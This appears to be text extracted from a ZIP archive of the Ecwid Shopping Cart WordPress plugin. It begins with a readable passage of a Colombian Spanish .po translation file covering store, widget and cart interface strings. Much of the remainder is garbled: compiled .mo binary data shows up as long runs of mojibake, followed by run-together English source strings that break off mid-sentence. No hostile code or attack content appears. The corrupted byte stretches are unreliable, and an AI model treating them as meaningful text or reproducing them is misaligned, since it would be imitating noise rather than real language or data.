templates/store-popup.php:226 msgid "Grid" msgstr "Cuadrícula" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Modo de vista predeterminado en las páginas de productos" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos." #: templates/store-popup.php:169 msgid "Table view" msgstr "Vista de tabla" #: templates/store-popup.php:152 msgid "List view" msgstr "Vista de lista" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Vista de cuadrícula" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Número de productos por página" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Número de categorías por fila" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Guardar cambios" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "ID de categoría predeterminada" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Categoría raíz de la tienda" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Categoría mostrada por defecto" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Nunca mostrar este mensaje otra vez" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Precio" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Editar apariencia" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Editar tienda" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Añadir tienda" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Regresar a la configuración de la tienda" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "¡Su tienda ya está casi lista!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Siga unos sencillos pasos para completar la configuración de la tienda" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Número de productos para mostrar" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Título del enlace de la tienda" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Aún no ha visto ningún producto. Abra la tienda." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Productos vistos recientemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Texto" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Tienda" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Enlace a la página de la tienda" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Categorías de la tienda" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Búsqueda de productos" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Título:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Carrito de compras" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "«Widget» de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Carrito de compras gratuito de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Solución de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "«Widget» de carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Distintivo de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Recomendaciones para su tienda en línea" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Configuraciones" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Avanzado" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Configuraciones avanzadas" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Apariencia" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Panel" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Configuración" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "Configuraciones del carrito de compras de %s" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Tienda" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Tienda en línea con tecnología de %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Vender en Facebook" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Visitar escaparate virtual" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CO.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� ���ÛU��(���æU�����V�� ���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ ��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CO.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� ���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that 